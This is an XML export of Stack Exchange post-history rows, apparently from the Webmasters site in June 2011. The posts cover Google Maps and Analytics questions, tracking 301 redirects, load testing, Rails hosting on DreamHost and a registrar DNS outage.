  <row Id="35823" PostHistoryTypeId="2" PostId="15189" RevisionGUID="116e816c-5ac4-4407-be6b-72623560eb28" CreationDate="2011-06-12T15:31:34.143" UserId="7435" Text="It turns out that I don't need to do anything special, but there is a slight twist with the urls: static content in &lt;mydomain&gt;/public/ (e.g. &lt;mydomain&gt;/public/foo/index.html) is served from a url missing the /public, so the example would be served as http://&lt;mydomain&gt;/foo/index.html.&#xD;&#xA;&#xD;&#xA;Obviously, trouble will ensue if static directories and django urls clash." />
  <row Id="35824" PostHistoryTypeId="2" PostId="15190" RevisionGUID="1bfe663f-ec3c-48fc-a62b-3d015f25ef25" CreationDate="2011-06-12T15:34:01.853" UserId="1976" Text="I wanted to know if you are allowed to save a static image of an area of a map so the usage limit does not run out and gets replaced with an quota exceeded image.&#xD;&#xA;&#xD;&#xA;If it's allowed, then I can save the image onto my server and link it around my website instead making requests to the Google Static Maps API.&#xD;&#xA;&#xD;&#xA; - [Google Static Maps API][1]&#xD;&#xA;&#xD;&#xA;I have not seen a policy where you are not allowed, but all I need is confirmation if you are allowed or not so I don't get in any kind of trouble.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/maps/documentation/staticmaps/" />
  <row Id="35825" PostHistoryTypeId="1" PostId="15190" RevisionGUID="1bfe663f-ec3c-48fc-a62b-3d015f25ef25" CreationDate="2011-06-12T15:34:01.853" UserId="1976" Text="Are you allowed to save Google static map images?" />
  <row Id="35826" PostHistoryTypeId="3" PostId="15190" RevisionGUID="1bfe663f-ec3c-48fc-a62b-3d015f25ef25" CreationDate="2011-06-12T15:34:01.853" UserId="1976" Text="&lt;google&gt;&lt;google-maps&gt;" />
  <row Id="35827" PostHistoryTypeId="5" PostId="15189" RevisionGUID="ad0c849d-0674-47b5-9c4f-f494a90b9183" CreationDate="2011-06-12T15:39:22.097" UserId="7435" Comment="added 12 characters in body" Text="It turns out that I don't need to do anything special, but there is a slight twist with the urls: static content in &lt;mydomain&gt;/public/ (e.g. &amp;lt;mydomain&amp;gt;/public/foo/index.html) is served from a url missing the /public, so the example would be served as http://&amp;lt;mydomain&amp;gt;/foo/index.html.&#xD;&#xA;&#xD;&#xA;Obviously, trouble will ensue if static directories and django urls clash." />
  <row Id="35828" PostHistoryTypeId="2" PostId="15191" RevisionGUID="79e0d0e0-264b-429c-94a9-205e4f2ebef8" CreationDate="2011-06-12T15:58:22.743" UserId="4503" Text="ign.com stopped testing in ie6 in June of 2010. " />
  <row Id="35829" PostHistoryTypeId="2" PostId="15192" RevisionGUID="751d7a37-63a7-4826-9548-d398ee8f9e0e" CreationDate="2011-06-12T16:20:16.400" UserId="-1" Text="" />
  <row Id="35830" PostHistoryTypeId="2" PostId="15193" RevisionGUID="62c7b9f5-cbce-4d44-815b-46e0b5d2ed49" CreationDate="2011-06-12T16:20:16.400" UserId="-1" Text="" />
  <row Id="35831" PostHistoryTypeId="2" PostId="15194" RevisionGUID="4268f45e-c790-408e-9c2f-647540579598" CreationDate="2011-06-12T16:22:43.060" UserId="-1" Text="" />
  <row Id="35832" PostHistoryTypeId="2" PostId="15195" RevisionGUID="5f9883d3-6547-44bb-94ee-8c7c328341c3" CreationDate="2011-06-12T16:22:43.060" UserId="-1" Text="" />
  <row Id="35833" PostHistoryTypeId="2" PostId="15196" RevisionGUID="f85e7dae-682f-41ee-b8dc-f29ef36e523c" CreationDate="2011-06-12T16:24:46.660" UserId="-1" Text="" />
  <row Id="35834" PostHistoryTypeId="2" PostId="15197" RevisionGUID="f0768df1-4afd-4499-bc8e-4e34ecab8469" CreationDate="2011-06-12T16:24:46.660" UserId="-1" Text="" />
  <row Id="35835" PostHistoryTypeId="2" PostId="15198" RevisionGUID="add9efb9-fd1c-41bb-8375-e71220d96c7a" CreationDate="2011-06-12T16:31:09.733" UserId="-1" Text="" />
  <row Id="35836" PostHistoryTypeId="2" PostId="15199" RevisionGUID="26333a78-5743-4cde-8359-8639234abe59" CreationDate="2011-06-12T16:31:09.733" UserId="-1" Text="" />
  <row Id="35837" PostHistoryTypeId="2" PostId="15200" RevisionGUID="5a230714-503f-4289-948e-1b9771c01ad4" CreationDate="2011-06-12T16:37:39.583" UserId="6415" Text="I've put some _trackEvent skripts on my site to track visitor clicks... and its showing up in the google analytics. Now i want to export the collected data to my site. The thing is i need to show &quot;labels&quot; of a specified &quot;category&quot;.&#xD;&#xA;&#xD;&#xA;I want to know on what category the user was when he clicked to see the post (i know i can do it in a different way but i want it this way).&#xD;&#xA;&#xD;&#xA;    // category, action, label&#xD;&#xA;    _gaq.push(['_trackEvent', 'Category page name', 'click', 'the post visited']);&#xD;&#xA;So now i can select the dimension &quot;eventCategory&quot; and the metric &quot;uniqueEvents&quot; and sort it by &quot;uniqueEvents&quot; but then i would get the number of events per category and if i select &quot;eventLabel&quot; as a dimension then it shows all labels which i do not want... i only want the ones that belong to the &quot;Category page name&quot; &quot;eventCategory&quot;...&#xD;&#xA;&#xD;&#xA;Hope you understand what i mean.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35838" PostHistoryTypeId="1" PostId="15200" RevisionGUID="5a230714-503f-4289-948e-1b9771c01ad4" CreationDate="2011-06-12T16:37:39.583" UserId="6415" Text="Google analytics export api" />
  <row Id="35839" PostHistoryTypeId="3" PostId="15200" RevisionGUID="5a230714-503f-4289-948e-1b9771c01ad4" CreationDate="2011-06-12T16:37:39.583" UserId="6415" Text="&lt;google-analytics&gt;&lt;analytics-api&gt;" />
  <row Id="35840" PostHistoryTypeId="2" PostId="15201" RevisionGUID="b4574d44-1e56-451c-834d-c5c26161e88d" CreationDate="2011-06-12T16:39:04.253" UserId="-1" Text="" />
  <row Id="35841" PostHistoryTypeId="2" PostId="15202" RevisionGUID="b6b10703-09fe-4236-945f-939dd916dc6c" CreationDate="2011-06-12T16:39:04.253" UserId="-1" Text="" />
  <row Id="35842" PostHistoryTypeId="2" PostId="15203" RevisionGUID="8af6a124-8a52-42e5-acd7-833e7400e3f5" CreationDate="2011-06-12T16:41:23.503" UserId="-1" Text="" />
  <row Id="35843" PostHistoryTypeId="2" PostId="15204" RevisionGUID="b0df0769-fef9-45bb-afe8-251238c8d921" CreationDate="2011-06-12T16:41:23.503" UserId="-1" Text="" />
  <row Id="35844" PostHistoryTypeId="2" PostId="15205" RevisionGUID="6d559b28-24a5-4695-97a6-baf9d3a56380" CreationDate="2011-06-12T16:49:45.497" UserId="-1" Text="" />
  <row Id="35845" PostHistoryTypeId="2" PostId="15206" RevisionGUID="3cbfca3f-2bf8-41c2-a449-d7532c60aaa0" CreationDate="2011-06-12T16:49:45.497" UserId="-1" Text="" />
  <row Id="35846" PostHistoryTypeId="2" PostId="15207" RevisionGUID="1243167c-4947-4561-9c72-53a2c96e8dc8" CreationDate="2011-06-12T17:25:34.013" UserId="4502" Text="The &lt;a href=&quot;http://code.google.com/apis/maps/documentation/staticmaps/#Limits&quot;&gt;limit&lt;/a&gt; is 1000 different images, per person [not site], per day. Are you &lt;em&gt;really&lt;/em&gt; sure this is even a concern for you?&#xD;&#xA;&#xD;&#xA;Anyway, &lt;a href=&quot;http://code.google.com/apis/maps/terms.html#section_10_1_3&quot;&gt;from the full ToS&lt;/a&gt;: &#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;You must not pre-fetch, cache, or store any Content, except that you may store: (i) limited amounts of Content for the purpose of improving the performance of your Maps API Implementation if you do so temporarily, securely, and in a manner that does not permit use of the Content outside of the Service [...]&lt;/blockquote&gt;" />
  <row Id="35847" PostHistoryTypeId="2" PostId="15208" RevisionGUID="fdae15c7-bd59-4f39-a3ee-242bf5f911d3" CreationDate="2011-06-12T17:25:41.067" UserId="8231" Text="My domain `foo.com` redirects (via a permanent 301) to `bar.com`. I want to know how many visitors to `bar.com` come from having first visited `foo.com`. &#xD;&#xA;&#xD;&#xA;I'm using Woopra - originally, I thought the referrer would be `foo.com`, but it turns out that this is not the case. I'm fine with writing custom JS if that is required, but I have a pretty &quot;user friendly&quot; hosting account, which means that I can't really fiddle with Apache or whatever to log the redirects.&#xD;&#xA;&#xD;&#xA;Is there a way to do this?" />
  <row Id="35848" PostHistoryTypeId="1" PostId="15208" RevisionGUID="fdae15c7-bd59-4f39-a3ee-242bf5f911d3" CreationDate="2011-06-12T17:25:41.067" UserId="8231" Text="How can I find the number of users who visit my site via a redirect?" />
  <row Id="35849" PostHistoryTypeId="3" PostId="15208" RevisionGUID="fdae15c7-bd59-4f39-a3ee-242bf5f911d3" CreationDate="2011-06-12T17:25:41.067" UserId="8231" Text="&lt;redirects&gt;&lt;analytics&gt;&lt;301-redirect&gt;" />
  <row Id="35850" PostHistoryTypeId="25" PostId="15208" RevisionGUID="7ea080a3-f956-49c5-bf57-0e4dac5b4187" CreationDate="2011-06-12T18:20:20.717" Comment="http://twitter.com/#!/StackWebmasters/status/79976341411332096" />
  <row Id="35851" PostHistoryTypeId="2" PostId="15209" RevisionGUID="6996ea8b-b852-4d37-b0f4-e1310c14c1d0" CreationDate="2011-06-12T18:21:37.953" UserId="8232" Text="If you are a Linux user you can use ab (Apache benchmark) or siege from your own home PC or from some other remote location. You should increase number of connections (start with 10 paralel users ) as long as req/s (requests per second) are going up. If you get 100 req/s that means that you hosting can serve 100 people at one second, but please keep in mind that js,css and image files are not tested but would be served for real users as additional requests per second. Testing everything together can be done too easily with siege (create a list of URLs for siege to run against) but not with ab (ab can work only on one url at one time).&#xD;&#xA;&#xD;&#xA;You can also try httperf." />
  <row Id="35852" PostHistoryTypeId="17" PostId="15210" RevisionGUID="7fcfebde-d772-4422-b196-3a83ffc4639e" CreationDate="2011-06-12T19:34:14.217" UserId="-1" Comment="from http://stackoverflow.com/questions/6324035/how-the-linkedin-network-degrees-works" Text="" />
  <row Id="35853" PostHistoryTypeId="17" PostId="15211" RevisionGUID="3bf67bbc-21f8-479e-b959-86281f63fc23" CreationDate="2011-06-12T19:34:14.217" UserId="-1" Comment="from http://stackoverflow.com/questions/6324035/how-the-linkedin-network-degrees-works" Text="" />
  <row Id="35854" PostHistoryTypeId="2" PostId="15211" RevisionGUID="57bfe6d5-a1f9-4d0b-99a9-01ebec63883f" CreationDate="2011-06-12T19:23:52.160" UserDisplayName="Ethan Cabiac" Text="Every tim a person makes a new 1st degree connection, each person's 2nd degree connections are unioned with the first degree connections of the other. The third degree connections are similarly unioned with the other person's second degree connections. This is the best way using OO techniques. As far as scalability, they are possibly using cubes in the database using similar techniques." />
  <row Id="35855" PostHistoryTypeId="2" PostId="15210" RevisionGUID="81071250-2989-4ac6-9496-96f9588082ef" CreationDate="2011-06-12T19:10:43.737" UserDisplayName="Marco" Text="Linkedin is great for its feature of people degrees, up to three levels.&#xD;&#xA;&#xD;&#xA;Is there anyone who know how such feature has been built and how to keep it scalable with millions of people? (tech docs and algorithms types are welcome)&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="35856" PostHistoryTypeId="1" PostId="15210" RevisionGUID="81071250-2989-4ac6-9496-96f9588082ef" CreationDate="2011-06-12T19:10:43.737" UserDisplayName="Marco" Text="How the Linkedin network/degrees works?" />
  <row Id="35857" PostHistoryTypeId="3" PostId="15210" RevisionGUID="81071250-2989-4ac6-9496-96f9588082ef" CreationDate="2011-06-12T19:10:43.737" UserDisplayName="Marco" Text="&lt;linkedin&gt;" />
  <row Id="35858" PostHistoryTypeId="2" PostId="15212" RevisionGUID="80ef8a4f-15e6-4705-9cca-5ba819018c87" CreationDate="2011-06-12T19:38:40.543" UserId="8235" Text="OFF: I believe this should belong back to stackoverflow since it involves some programming and graph logic.&#xD;&#xA;&#xD;&#xA;[Since I know that LinkedIn uses Hadoop][1], I might think, that they are using some kind of graph exploration with MapReduce. &#xD;&#xA;&#xD;&#xA;I blog'd about the algorithm in general here: http://codingwiththomas.blogspot.com/2011/04/graph-exploration-with-hadoop-mapreduce.html&#xD;&#xA;&#xD;&#xA;Basically you treat your people like vertices in a graph, then you have to group them into [components][2]. While doing this (with the algorithm I described in my blog) you have to cap the number of recursions to the number of degrees you want the relation to have. &#xD;&#xA;Then you have for each people (or vertex) a connected component of n-other vertices that could be displayed in your frontend.&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.apache.org/hadoop/PoweredBy#L&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Connected_component_%28graph_theory%29" />
  <row Id="35859" PostHistoryTypeId="2" PostId="15213" RevisionGUID="bbb3cdff-68d0-403f-aa95-06b2f76442d5" CreationDate="2011-06-12T20:00:21.073" UserId="7545" Text="With a correctly done 301 redirect, as you've noticed, the referred will be the original referer, not the directed URL (foo.com in your example).&#xD;&#xA;&#xD;&#xA;You should be able to see the 301 redirects to bar.com in the log files for your foo.com site.&#xD;&#xA;&#xD;&#xA;If for some reason you can see the log files for your foo.com web server, then you could track them using Google Analytics.&#xD;&#xA;&#xD;&#xA;In the 301 redirect, add [campaign tracking variables][1] to the bar.com URL you are redirecting to, including foo (or whatever you fancy) as the campaign or source. Note that this will, of course, overwrite any earlier source attribution.&#xD;&#xA;&#xD;&#xA;Make sure though that bar.com has [canonical URLs][2] in the head of it's pages, to avoid any problems of duplicate content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55578&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="35861" PostHistoryTypeId="25" PostId="15190" RevisionGUID="92fa331f-f1df-4add-9573-9d0ee28b0592" CreationDate="2011-06-12T21:20:22.013" Comment="http://twitter.com/#!/StackWebmasters/status/80021645791723520" />
  <row Id="35862" PostHistoryTypeId="5" PostId="15109" RevisionGUID="c7772d3e-863e-45b8-8f8b-f1293f3b3a76" CreationDate="2011-06-12T22:26:29.397" UserId="6901" Comment="added 1 characters in body" Text="I'm really impressed with Stack Exchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to Stack Exchange? I'm not necessarily looking for something *identical* to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute *positively* to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). The privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges.&#xD;&#xA;&#xD;&#xA;I should be able to change the requirements for each privilege, through a administration panel or through editing a file.&#xD;&#xA;&#xD;&#xA;Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too." />
  <row Id="35863" PostHistoryTypeId="2" PostId="15214" RevisionGUID="b364aa8e-f3af-46d1-9ed4-6995966ce0fd" CreationDate="2011-06-12T23:02:16.000" UserId="8178" Text="I use DreamHost as my host and I love them, however I recently started messing with a Ruby on Rails site for fun and cannot seem to get it working on my server with them.  &#xD;&#xA;They don't actually support the Ruby on Rails stuff but they did answer some of my questions...which only led to more questions.  &#xD;&#xA;&#xD;&#xA;First is this:  &#xD;&#xA;&#xD;&#xA;&gt; I created a Rails App locally and uploaded all the files but when I run &quot;Rake&#xD;&#xA;&gt; db:migrate&quot; on an SSH session I get this error:&#xD;&#xA;&gt; You have requested:&#xD;&#xA;&gt; sqlite3 &gt;= 0&#xD;&#xA;&gt; The bundle currently has sqlite3 locked at 1.3.3.&#xD;&#xA;&gt; Try running `bundle update sqlite3`&#xD;&#xA;&#xD;&#xA;Their response:  &#xD;&#xA;&#xD;&#xA;&gt; You'll need to update sqlite3 in your&#xD;&#xA;&gt; bundle config before moving forward.&#xD;&#xA;&#xD;&#xA;Another thing they said:  &#xD;&#xA;&#xD;&#xA;&gt; Ruby 1.9 isn't installed on the&#xD;&#xA;&gt; machine, so you'll need to update your&#xD;&#xA;&gt; bundle config and have bundle manage&#xD;&#xA;&gt; it directly.&#xD;&#xA;&#xD;&#xA;Also:  &#xD;&#xA;&#xD;&#xA;&gt; If you're running Passenger, you won't&#xD;&#xA;&gt; be able to use Ruby 1.9 because&#xD;&#xA;&gt; Passenger forces locks on Ruby&#xD;&#xA;&gt; versions.&#xD;&#xA;&#xD;&#xA;I have no idea what to do to run a Ruby on Rails site other than with Passenger which is what they offer.  They also offer FastCGI but I know nothing about that either.&#xD;&#xA;&#xD;&#xA;As to the first questions, I was hoping someone could explain what I need to do to solve these issues." />
  <row Id="35864" PostHistoryTypeId="1" PostId="15214" RevisionGUID="b364aa8e-f3af-46d1-9ed4-6995966ce0fd" CreationDate="2011-06-12T23:02:16.000" UserId="8178" Text="Update Ruby to 1.9 through SSH?" />
  <row Id="35865" PostHistoryTypeId="3" PostId="15214" RevisionGUID="b364aa8e-f3af-46d1-9ed4-6995966ce0fd" CreationDate="2011-06-12T23:02:16.000" UserId="8178" Text="&lt;ruby-on-rails&gt;" />
  <row Id="35866" PostHistoryTypeId="2" PostId="15215" RevisionGUID="e90ae7f1-a98c-470d-b234-6a39dd32eef0" CreationDate="2011-06-13T00:01:37.293" UserId="1914" Text="As long as you're using a 301 redirect [permanently moved] you will be fine. However, if you are not, then most likely you will be banned - especially if you have duplicate content on it. &#xD;&#xA;&#xD;&#xA;[http://www.google.com/support/forum/p/AdSense/thread?tid=4654ef26bb407b38&amp;hl=en][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, your question is kinda vague so if you're saying you have a domain named, www.domaina.com and you want to forward it to a free host that's url is yourdomain.domainb.com then the answer would be yes. However, I suggest getting a cheap web host and just routing the nameserver instead of using a free host. This will ensure that you don't have any banning and you can switch hosts whenever you want and update the nameservers to whatever the new one would be for your new host at any time. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/AdSense/thread?tid=4654ef26bb407b38&amp;hl=en" />
  <row Id="35867" PostHistoryTypeId="25" PostId="15156" RevisionGUID="e70578a3-5443-482d-9e01-1baabdf9a6b4" CreationDate="2011-06-13T00:20:22.667" Comment="http://twitter.com/#!/StackWebmasters/status/80066946548248576" />
  <row Id="35868" PostHistoryTypeId="2" PostId="15216" RevisionGUID="696ac5cf-17e2-4feb-9846-53bd2ee7d40b" CreationDate="2011-06-13T00:28:15.937" UserId="1914" Text="I agree with @paulmorriss that the HTML generator is going to be your best solution. You can use AJAX for image uploads and give them the option of a live preview of the form. However, all you're going to be doing in the end is recreating what MailChimp offers out of the box - which sucks because it'd be a much more elegant solution. But since you're stuck with this solution, I'd look at using an online rich text editor and reformatting the data that they &quot;send&quot; before it's actually sent. Here's a few jQuery based ones: &#xD;&#xA;&#xD;&#xA;[jwysiwyg][1]&#xD;&#xA;&#xD;&#xA;[markitup][2]&#xD;&#xA;&#xD;&#xA;[htmlbox][3] &lt;- Looks most like MS Word&#xD;&#xA;&#xD;&#xA;[CLEditor][4] &lt;- Close to MS Word&#xD;&#xA;&#xD;&#xA;You'll need to extend these further than what they currently have to both export the html that you want and to allow for image uploading instead of just image linking to a url (if you're going for the best user experience).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://akzhan.github.com/jwysiwyg/help/examples/&#xD;&#xA;  [2]: http://markitup.jaysalvat.com/examples/&#xD;&#xA;  [3]: http://remiya.com/htmlbox/index.php/9/demo/full-featured-demo.html&#xD;&#xA;  [4]: http://premiumsoftware.net/cleditor/" />
  <row Id="35871" PostHistoryTypeId="2" PostId="15217" RevisionGUID="9d2a95ff-6997-4c42-b5f9-cbe2856cc1c8" CreationDate="2011-06-13T02:27:50.373" UserId="1253" Text="Paypal Website Payments Pro is very similar to a true merchant account and payment gateway in the US except PayPal is providing both services instead of each component being separate (which is typical in the US).&#xD;&#xA;&#xD;&#xA;Just like a true merchant account and payment gateway there are limitations to where payments may originate from. This is almost entirely due to risk, specifically fraudulent transactions. A true merchant account in the US typically limits transaction to the US and Canada unless arrangements are made during the account setup and, even then, it's rare to have an account that allows transactions outside of those two countries without the rates going up significantly. &#xD;&#xA;&#xD;&#xA;Paypal is essentially placing the same restrictions on their merchants except they are a bit more flexible/different in these ways:&#xD;&#xA;&#xD;&#xA;1. If you are located in the US or Canada (the latter does not have access to US merchant accounts under normal circumstances) you can accept payments from Canada, the United Kingdom, or the US.&#xD;&#xA;&#xD;&#xA;2. If you are in the United Kingdom (where you cannot normally get a US merchant account) you can accept payments from anywhere but only if they are in the Visa brand.&#xD;&#xA;&#xD;&#xA;Number 2 is most likely because Paypal is using a different acquiring bank for their US and Canadian merchants. This is because US and Canadian merchants accounts operate in a very different, and usually lower cost, way then International merchant accounts." />
  <row Id="35872" PostHistoryTypeId="2" PostId="15218" RevisionGUID="44ca6442-114f-49aa-8b24-1d87dc45360f" CreationDate="2011-06-13T02:51:45.420" UserId="8213" Text="Apparently, It started working. It seems my mistake was in setting site url as the full path, but it was necessary to set site url to &quot;sites.google.com&quot; part only." />
  <row Id="35875" PostHistoryTypeId="25" PostId="15168" RevisionGUID="3f054c86-9041-4841-8f3d-8df44b9eb1f4" CreationDate="2011-06-13T03:20:23.173" Comment="http://twitter.com/#!/StackWebmasters/status/80112246868549632" />
  <row Id="35876" PostHistoryTypeId="2" PostId="15219" RevisionGUID="a1bb2c6b-f527-4738-81d1-686a400ac6a4" CreationDate="2011-06-13T05:17:49.877" UserId="8243" Text="You can visit this site &lt;https://www.nyalog.in&gt; and easy to implement OpenID,Facebook etc. in your website." />
  <row Id="35877" PostHistoryTypeId="2" PostId="15220" RevisionGUID="7e55d517-9391-4d90-a575-9bd462abff61" CreationDate="2011-06-13T05:49:57.307" UserId="8245" Text="Need suggestions for a hosting service for my application+blog+companywebsite.&#xD;&#xA;&#xD;&#xA;I need to&#xD;&#xA;&#xD;&#xA;    deploy a light web application (a review site similar to yelp).&#xD;&#xA;    Have an associated blog.&#xD;&#xA;    Have a company website for a company that I am launching in 6 months.&#xD;&#xA;    All 3 of the above needs to share the same domain name.&#xD;&#xA;&#xD;&#xA;I am evaluating&#xD;&#xA;&#xD;&#xA;    Amazon Web Services&#xD;&#xA;    godaddy and other hosting sites.&#xD;&#xA;&#xD;&#xA;I am proficient in J2EE enterprise app development. Since Amazon has java application support, that might be easier for me. But I have a feeling that AWS might be overkill for my situation. godaddy etc seems to be mainly having support for Ruby on rails and other more lightweight frameworks. Although I don't have any experience with RoR, I am willing to learn it (spend a few weeks of after-work time hopefully).&#xD;&#xA;&#xD;&#xA;Any suggestions for whether to go with godaddy or AWS or something else entirely?&#xD;&#xA;&#xD;&#xA;Much appreciated.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="35878" PostHistoryTypeId="1" PostId="15220" RevisionGUID="7e55d517-9391-4d90-a575-9bd462abff61" CreationDate="2011-06-13T05:49:57.307" UserId="8245" Text="Application+blog+website hosting suggestions" />
  <row Id="35879" PostHistoryTypeId="3" PostId="15220" RevisionGUID="7e55d517-9391-4d90-a575-9bd462abff61" CreationDate="2011-06-13T05:49:57.307" UserId="8245" Text="&lt;websites&gt;" />
  <row Id="35880" PostHistoryTypeId="25" PostId="15150" RevisionGUID="84cd7185-2d6e-46ca-9372-17e5b58dcf43" CreationDate="2011-06-13T06:20:29.473" Comment="http://twitter.com/#!/StackWebmasters/status/80157571440324608" />
  <row Id="35881" PostHistoryTypeId="2" PostId="15221" RevisionGUID="4c410735-b519-4823-a7dc-82354f32cf46" CreationDate="2011-06-13T06:30:14.427" UserId="8246" Text="I'd consider Rackspace Cloud, or maybe Google App Engine, since it supports Java. You'll probably want a solution that can handle spikes, so a cloud solution makes sense. AWS is IAAS, so you'll have to set up the total infrastructure.&#xD;&#xA;&#xD;&#xA;For a good, quick intro to IAAS/PAAS/SAAS check [this description][1]. I don't know the company, am not specifically recommending them, but just learned the differences myself, and their description seems clear.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.standingcloud.com/platform-as-a-service-technology" />
  <row Id="35882" PostHistoryTypeId="2" PostId="15222" RevisionGUID="ee14f621-72d3-4c22-a15a-e4f20548d318" CreationDate="2011-06-13T06:45:48.083" UserId="8222" Text="http://bar.com/?utm_source=foo.com&amp;utm_medium=redirect&amp;utm_campaign=301&#xD;&#xA;&#xD;&#xA;This should do the trick !" />
  <row Id="35883" PostHistoryTypeId="2" PostId="15223" RevisionGUID="b012c236-ee77-403e-8d18-3cc6c92646e0" CreationDate="2011-06-13T08:02:56.470" UserId="8141" Text="in .htaccess, i am nt sure bt with php u can do this...&#xD;&#xA;Create index.php using following code&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    header (&quot;Location:./under-construction/&quot;);&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;keep this index.php file in public_html folder and your users will directly redirected to under construction page and u can check ur work directly entering ur page for exampale: xyz.com/demo/ or if your real page file(index.php) and should be located in same folder public_html than rename ur real page name frm index.php to demo.html for a while..." />
  <row Id="35884" PostHistoryTypeId="2" PostId="15224" RevisionGUID="80fb4f85-231a-44ba-af50-267c7d3f266c" CreationDate="2011-06-13T08:23:18.557" UserId="1643" Text="&quot;applewebdata&quot; is used by iPhones and OS X, and is used instead of the `http` in URLs used for accessing internal resources on the phone or computer. So these visitors came to your site whilst using their iPhone or Mac." />
  <row Id="35885" PostHistoryTypeId="2" PostId="15225" RevisionGUID="6baafa78-1ec1-40d2-b262-d756437c1adf" CreationDate="2011-06-13T09:12:51.657" UserId="6068" Text="I would like to have a blog site, tough I have created my own by writing the code.. Huhhh... hosting cost is killing me.&#xD;&#xA;&#xD;&#xA;I have my domain name with me and I just wanted to get the blog where I can use my unused domain name.&#xD;&#xA;&#xD;&#xA;My blog will me 80% technical [i.e. I will show peices of code and downloadeable content to my user].&#xD;&#xA;&#xD;&#xA;Which blog will be useful for me. I just don;t want my URL look like&#xD;&#xA;&#xD;&#xA;**http://mysite.hosterName.com**&#xD;&#xA;&#xD;&#xA;I want it like this **http://www.mysite.com**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35886" PostHistoryTypeId="1" PostId="15225" RevisionGUID="6baafa78-1ec1-40d2-b262-d756437c1adf" CreationDate="2011-06-13T09:12:51.657" UserId="6068" Text="Best technical blog site for existing domain" />
  <row Id="35887" PostHistoryTypeId="3" PostId="15225" RevisionGUID="6baafa78-1ec1-40d2-b262-d756437c1adf" CreationDate="2011-06-13T09:12:51.657" UserId="6068" Text="&lt;domain-names&gt;&lt;blog&gt;&lt;code&gt;" />
  <row Id="35888" PostHistoryTypeId="25" PostId="15186" RevisionGUID="479f9534-6970-48e9-b351-f182d68f833c" CreationDate="2011-06-13T09:20:30.643" Comment="http://twitter.com/#!/StackWebmasters/status/80202874461765632" />
  <row Id="35889" PostHistoryTypeId="2" PostId="15226" RevisionGUID="66c06f01-998a-4c02-b2e0-b89b8cd266bf" CreationDate="2011-06-13T09:39:18.847" UserId="8249" Text="We have had a very long an damaging outage which lasted around 24hrs due to a change in our DNS servers by our registrar. What happened (according to our registrar) was that for some reason their system identified our domain to be due for renewal and changed the authoritative DNS servers to theirs which caused our domain to be forwarded to a temporary holding page. Once we alerted our registrar to the problem it wad already too late as the error had already propagated. Our domain runs out in Jan 2020 so there was absolutely no reason for this change.&#xD;&#xA;Now my question is, how do other businesses protect themselves against these types of outages which are both out of their control and take hours to resolve, inevitably causing the service to be unreachable for a long period?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35890" PostHistoryTypeId="1" PostId="15226" RevisionGUID="66c06f01-998a-4c02-b2e0-b89b8cd266bf" CreationDate="2011-06-13T09:39:18.847" UserId="8249" Text="Domain registrar changed DNS without warning" />
  <row Id="35891" PostHistoryTypeId="3" PostId="15226" RevisionGUID="66c06f01-998a-4c02-b2e0-b89b8cd266bf" CreationDate="2011-06-13T09:39:18.847" UserId="8249" Text="&lt;domains&gt;&lt;web-development&gt;&lt;dns&gt;&lt;domain-names&gt;&lt;dns-servers&gt;" />
  <row Id="35892" PostHistoryTypeId="2" PostId="15227" RevisionGUID="1a04c82e-a610-4c4e-81f8-18d39efbdcfc" CreationDate="2011-06-13T09:39:47.707" UserId="1089" Text="My perspective as a user who up until recently was forced to use ie6 at work (firefox has since been installed as an &quot;optional&quot; extra - ie6 is still the default)&#xD;&#xA;&#xD;&#xA;&quot;even if google chrome frame can be installed without admin privileges&quot;&#xD;&#xA;&#xD;&#xA;I wouldn't rely on this. When this is released I'd expect most large corporations using ie6 will somehow find a way to block this from happening, either by blocking the website or locking down the browser even further.&#xD;&#xA;&#xD;&#xA;We are stuck with ie6 for the forseeable future, the cost of upgrading involves upgrading a number of business critical apps, with budgets being slashed there is little appetite to fix something which isn't perceived to be broken.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35893" PostHistoryTypeId="2" PostId="15228" RevisionGUID="dd6173bc-4b92-4433-8059-f9a49e49c213" CreationDate="2011-06-13T09:53:40.717" UserId="1089" Text="&gt; for some reason their system identified our domain to be due for renewal&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt; Our domain runs out in Jan 2020&#xD;&#xA;&#xD;&#xA;My experience with hosting and registrars are you only find out how good they are when things go wrong and how they help with tidying up the mess, both in terms of fixes and explanations. &#xD;&#xA;&#xD;&#xA;In this case the explanation at face value seems dubious at best. &#xD;&#xA;Ask for a better explanation - if they fail to give one then change registrar." />
